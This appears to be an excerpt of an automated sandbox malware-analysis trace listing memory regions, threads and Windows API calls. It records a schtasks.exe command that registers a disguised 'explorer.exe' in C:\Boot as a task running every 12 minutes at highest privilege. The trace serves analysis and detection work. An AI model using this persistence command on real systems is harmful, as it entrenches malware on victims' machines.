entry_point = 0x680da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 9019 start_va = 0x660000 end_va = 0x73cfff monitored = 0 entry_point = 0x6be0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 9940 start_va = 0x7ffa76e20000 end_va = 0x7ffa76eb5fff monitored = 0 entry_point = 0x7ffa76e45570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 9941 start_va = 0x1aee0000 end_va = 0x1b02ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aee0000" filename = "" Region: id = 10013 start_va = 0x7ff5ffa50000 end_va = 0x7ff5ffaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff5ffa50000" filename = "" Region: id = 10014 start_va = 0x7ff5ffa40000 end_va = 0x7ff5ffa4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff5ffa40000" filename = "" Region: id = 10298 start_va = 0x7ff9ff2e0000 end_va = 0x7ff9ff2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff2e0000" filename = "" Region: id = 10299 start_va = 0x7ff9ff2f0000 end_va = 0x7ff9ff2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff2f0000" filename = "" Region: id = 10300 start_va = 0x7ff9ff300000 end_va = 0x7ff9ff33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff300000" filename = "" Region: id = 10312 start_va = 0x7ffa621f0000 end_va = 0x7ffa622fdfff monitored = 1 entry_point = 0x7ffa621f1080 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 10313 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 10314 start_va = 0x1aee0000 end_va = 0x1afdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aee0000" filename = "" Region: id = 10315 start_va = 0x1b020000 end_va = 0x1b02ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b020000" filename = "" Region: id = 10316 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 10403 start_va = 0x7ffa5c790000 end_va = 0x7ffa5d3d3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\60b77585c8aa9cfd1b30a64092c81041\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\60b77585c8aa9cfd1b30a64092c81041\\system.ni.dll") Region: id = 10432 start_va = 0x7ffa5be00000 end_va = 0x7ffa5c781fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Core\\d1da4b8a843ec63bb8be25f8202bedc1\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.core\\d1da4b8a843ec63bb8be25f8202bedc1\\system.core.ni.dll") Region: id = 10475 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 10476 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 10477 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 10478 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 10505 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 10506 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 10547 start_va = 0x1b030000 end_va = 0x1b21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b030000" filename = "" Region: id = 10580 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 10597 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Thread: id = 172 os_tid = 0x1330 [0211.691] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0252.141] RoInitialize () returned 0x1 [0252.141] RoUninitialize () returned 0x0 Thread: id = 202 os_tid = 0x6c4 Thread: id = 233 os_tid = 0x13b0 Thread: id = 246 os_tid = 0x137c [0252.497] CoGetContextToken (in: pToken=0xf3f340 | out: pToken=0xf3f340) returned 0x800401f0 [0252.497] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0252.498] RoInitialize () returned 0x1 [0252.498] RoUninitialize () returned 0x0 Thread: id = 321 os_tid = 0xe9c Thread: id = 331 os_tid = 0xd60 Thread: id = 366 os_tid = 0x115c Process: id = "20" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x32e23000" os_pid = "0x1324" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x1120" cmd_line = "schtasks.exe /create /tn \"explorere\" /sc MINUTE /mo 12 /tr \"'C:\\Boot\\zh-TW\\explorer.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3022 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3023 start_va = 0x791ecd0000 end_va = 0x791ed4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000791ecd0000" filename = "" Region: id = 3024 start_va = 0x791ee00000 end_va = 0x791effffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000791ee00000" filename = "" Region: id = 3025 start_va = 0x1a4f49c0000 end_va = 0x1a4f49dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001a4f49c0000" filename = "" Region: id = 3026 start_va = 0x1a4f49e0000 end_va = 0x1a4f49f4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001a4f49e0000" filename = "" Region: id = 3027 start_va = 0x1a4f4a00000 end_va = 0x1a4f4a03fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001a4f4a00000" filename = "" Region: id = 3028 start_va = 0x1a4f4a10000 end_va = 0x1a4f4a10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001a4f4a10000" filename = "" Region: id = 3029 start_va = 0x1a4f4a20000 end_va = 0x1a4f4a21fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001a4f4a20000" filename = "" Region: id = 3030 start_va = 0x7df5ff330000 end_va = 0x7ff5ff32ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff330000" filename = "" Region: id = 3031 start_va = 0x7ff684c10000 end_va = 0x7ff684c32fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff684c10000" filename = "" Region: id = 3032 start_va = 0x7ff685110000 end_va = 0x7ff68514cfff monitored = 1 entry_point = 0x7ff685134550 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3033 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3034 start_va = 0x1a4f4a30000 end_va = 0x1a4f4b2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001a4f4a30000" filename = "" Region: id = 3035 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3036 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3037 start_va = 0x1a4f49c0000 end_va = 0x1a4f49cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001a4f49c0000" filename = "" Region: id = 3038 start_va = 0x7ff684b10000 end_va = 0x7ff684c0ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff684b10000" filename = "" Region: id = 3039 start_va = 0x1a4f4b30000 end_va = 0x1a4f4bedfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3040 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3041 start_va = 0x791ed50000 end_va = 0x791edcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000791ed50000" filename = "" Region: id = 3042 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3043 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 3044 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3045 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3046 start_va = 0x1a4f4bf0000 end_va = 0x1a4f4d4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001a4f4bf0000" filename = "" Region: id = 3047 start_va = 0x1a4f49d0000 end_va = 0x1a4f49d6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001a4f49d0000" filename = "" Region: id = 3048 start_va = 0x1a4f4bf0000 end_va = 0x1a4f4d32fff monitored = 0 entry_point = 0x1a4f4c18210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3049 start_va = 0x1a4f4d40000 end_va = 0x1a4f4d4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001a4f4d40000" filename = "" Region: id = 3050 start_va = 0x1a4f4bf0000 end_va = 0x1a4f4bf6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001a4f4bf0000" filename = "" Region: id = 3051 start_va = 0x1a4f4c00000 end_va = 0x1a4f4c12fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3052 start_va = 0x1a4f4d50000 end_va = 0x1a4f5086fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3053 start_va = 0x1a4f4c20000 end_va = 0x1a4f4cfcfff monitored = 0 entry_point = 0x1a4f4c7e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3054 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 3055 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3056 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3057 start_va = 0x1a4f4c20000 end_va = 0x1a4f4c58fff monitored = 0 entry_point = 0x1a4f4c212f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3058 start_va = 0x1a4f5090000 end_va = 0x1a4f5217fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001a4f5090000" filename = "" Region: id = 3059 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3060 start_va = 0x1a4f4c20000 end_va = 0x1a4f4c20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001a4f4c20000" filename = "" Region: id = 3061 start_va = 0x1a4f4c30000 end_va = 0x1a4f4c30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001a4f4c30000" filename = "" Region: id = 3062 start_va = 0x1a4f5220000 end_va = 0x1a4f53a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001a4f5220000" filename = "" Region: id = 3063 start_va = 0x1a4f53b0000 end_va = 0x1a4f67affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001a4f53b0000" filename = "" Region: id = 3064 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3065 start_va = 0x1a4f4c40000 end_va = 0x1a4f4c40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001a4f4c40000" filename = "" Region: id = 3066 start_va = 0x7ffa7b7c0000 end_va = 0x7ffa7b866fff monitored = 0 entry_point = 0x7ffa7b7cb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3067 start_va = 0x1a4f4c50000 end_va = 0x1a4f4c50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001a4f4c50000" filename = "" Region: id = 3068 start_va = 0x7ffa754c0000 end_va = 0x7ffa7557efff monitored = 0 entry_point = 0x7ffa754e1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3069 start_va = 0x7ffa78120000 end_va = 0x7ffa7814cfff monitored = 0 entry_point = 0x7ffa78139d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3070 start_va = 0x7ffa74cc0000 end_va = 0x7ffa74cf5fff monitored = 0 entry_point = 0x7ffa74cd0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 160 os_tid = 0x132c [0118.578] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff685110000 [0118.578] __set_app_type (_Type=0x1) [0118.578] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6851348d0) returned 0x0 [0118.578] __wgetmainargs (in: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008, _DoWildCard=0, _StartInfo=0x7ff685148014 | out: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008) returned 0 [0118.579] _onexit (_Func=0x7ff685137ec0) returned 0x7ff685137ec0 [0118.579] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0118.579] CsrIdentifyAlertableThread () returned 0x0 [0118.579] GetProcessHeap () returned 0x1a4f4a30000 [0118.579] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x18) returned 0x1a4f4a34a30 [0118.579] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.580] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0118.580] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0118.580] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0118.580] RtlVerifyVersionInfo (VersionInfo=0x791ed4f030, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0118.580] GetProcessHeap () returned 0x1a4f4a30000 [0118.580] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x18) returned 0x1a4f4a34a50 [0118.580] lstrlenW (lpString="") returned 0 [0118.580] GetProcessHeap () returned 0x1a4f4a30000 [0118.580] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x2) returned 0x1a4f4a34a70 [0118.580] GetProcessHeap () returned 0x1a4f4a30000 [0118.580] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a343e0 [0118.580] GetProcessHeap () returned 0x1a4f4a30000 [0118.580] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x18) returned 0x1a4f4a34410 [0118.580] GetProcessHeap () returned 0x1a4f4a30000 [0118.580] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a34430 [0118.580] GetProcessHeap () returned 0x1a4f4a30000 [0118.580] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a34460 [0118.580] GetProcessHeap () returned 0x1a4f4a30000 [0118.580] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a33fd0 [0118.581] GetProcessHeap () returned 0x1a4f4a30000 [0118.581] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a34000 [0118.581] GetProcessHeap () returned 0x1a4f4a30000 [0118.581] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x18) returned 0x1a4f4a34030 [0118.581] GetProcessHeap () returned 0x1a4f4a30000 [0118.581] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a38a70 [0118.582] GetProcessHeap () returned 0x1a4f4a30000 [0118.582] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a38d10 [0118.582] GetProcessHeap () returned 0x1a4f4a30000 [0118.582] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a38c50 [0118.582] GetProcessHeap () returned 0x1a4f4a30000 [0118.582] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a38aa0 [0118.582] GetProcessHeap () returned 0x1a4f4a30000 [0118.582] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x18) returned 0x1a4f4a34050 [0118.582] GetProcessHeap () returned 0x1a4f4a30000 [0118.582] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a38b00 [0118.582] GetProcessHeap () returned 0x1a4f4a30000 [0118.582] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a38a10 [0118.582] GetProcessHeap () returned 0x1a4f4a30000 [0118.582] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a38d70 [0118.582] GetProcessHeap () returned 0x1a4f4a30000 [0118.582] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a38ad0 [0118.582] SetThreadUILanguage (LangId=0x0) returned 0x409 [0118.584] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.584] GetProcessHeap () returned 0x1a4f4a30000 [0118.584] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a38c80 [0118.584] GetProcessHeap () returned 0x1a4f4a30000 [0118.584] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a38ce0 [0118.584] GetProcessHeap () returned 0x1a4f4a30000 [0118.584] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a38a40 [0118.584] GetProcessHeap () returned 0x1a4f4a30000 [0118.584] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a38d40 [0118.584] GetProcessHeap () returned 0x1a4f4a30000 [0118.584] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a38b60 [0118.584] GetProcessHeap () returned 0x1a4f4a30000 [0118.585] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x18) returned 0x1a4f4a34820 [0118.585] _memicmp (_Buf1=0x1a4f4a34820, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.585] GetProcessHeap () returned 0x1a4f4a30000 [0118.585] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x208) returned 0x1a4f4a396b0 [0118.585] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1a4f4a396b0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0118.585] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x791ed4f188 | out: lpdwHandle=0x791ed4f188) returned 0x76c [0118.642] GetProcessHeap () returned 0x1a4f4a30000 [0118.643] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x776) returned 0x1a4f4a3a7b0 [0118.643] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x1a4f4a3a7b0 | out: lpData=0x1a4f4a3a7b0) returned 1 [0118.643] VerQueryValueW (in: pBlock=0x1a4f4a3a7b0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x791ed4f120, puLen=0x791ed4f180 | out: lplpBuffer=0x791ed4f120*=0x1a4f4a3ab60, puLen=0x791ed4f180) returned 1 [0118.646] _memicmp (_Buf1=0x1a4f4a34820, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.646] _vsnwprintf (in: _Buffer=0x1a4f4a396b0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x791ed4f0f8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0118.646] VerQueryValueW (in: pBlock=0x1a4f4a3a7b0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x791ed4f110, puLen=0x791ed4f178 | out: lplpBuffer=0x791ed4f110*=0x1a4f4a3a990, puLen=0x791ed4f178) returned 1 [0118.647] lstrlenW (lpString="schtasks.exe") returned 12 [0118.647] lstrlenW (lpString="schtasks.exe") returned 12 [0118.647] lstrlenW (lpString=".EXE") returned 4 [0118.647] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0118.647] lstrlenW (lpString="schtasks.exe") returned 12 [0118.647] lstrlenW (lpString=".EXE") returned 4 [0118.647] _memicmp (_Buf1=0x1a4f4a34820, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.647] lstrlenW (lpString="schtasks") returned 8 [0118.648] GetProcessHeap () returned 0x1a4f4a30000 [0118.648] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a38bf0 [0118.648] GetProcessHeap () returned 0x1a4f4a30000 [0118.648] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a38c20 [0118.648] GetProcessHeap () returned 0x1a4f4a30000 [0118.648] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a3b980 [0118.648] GetProcessHeap () returned 0x1a4f4a30000 [0118.648] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a3ba10 [0118.648] GetProcessHeap () returned 0x1a4f4a30000 [0118.648] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x18) returned 0x1a4f4a32100 [0118.648] _memicmp (_Buf1=0x1a4f4a32100, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.648] GetProcessHeap () returned 0x1a4f4a30000 [0118.648] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0xa0) returned 0x1a4f4a34260 [0118.648] GetProcessHeap () returned 0x1a4f4a30000 [0118.648] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a3b740 [0118.648] GetProcessHeap () returned 0x1a4f4a30000 [0118.648] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a3b680 [0118.648] GetProcessHeap () returned 0x1a4f4a30000 [0118.648] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a3b7d0 [0118.648] GetProcessHeap () returned 0x1a4f4a30000 [0118.648] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x18) returned 0x1a4f4a34710 [0118.648] _memicmp (_Buf1=0x1a4f4a34710, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.648] GetProcessHeap () returned 0x1a4f4a30000 [0118.648] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x200) returned 0x1a4f4a3ba80 [0118.648] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1a4f4a3ba80, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0118.649] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0118.649] GetProcessHeap () returned 0x1a4f4a30000 [0118.649] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x30) returned 0x1a4f4a34310 [0118.649] _vsnwprintf (in: _Buffer=0x1a4f4a34260, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x791ed4f0f8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0118.649] GetProcessHeap () returned 0x1a4f4a30000 [0118.649] GetProcessHeap () returned 0x1a4f4a30000 [0118.649] HeapValidate (hHeap=0x1a4f4a30000, dwFlags=0x0, lpMem=0x1a4f4a3a7b0) returned 1 [0118.649] 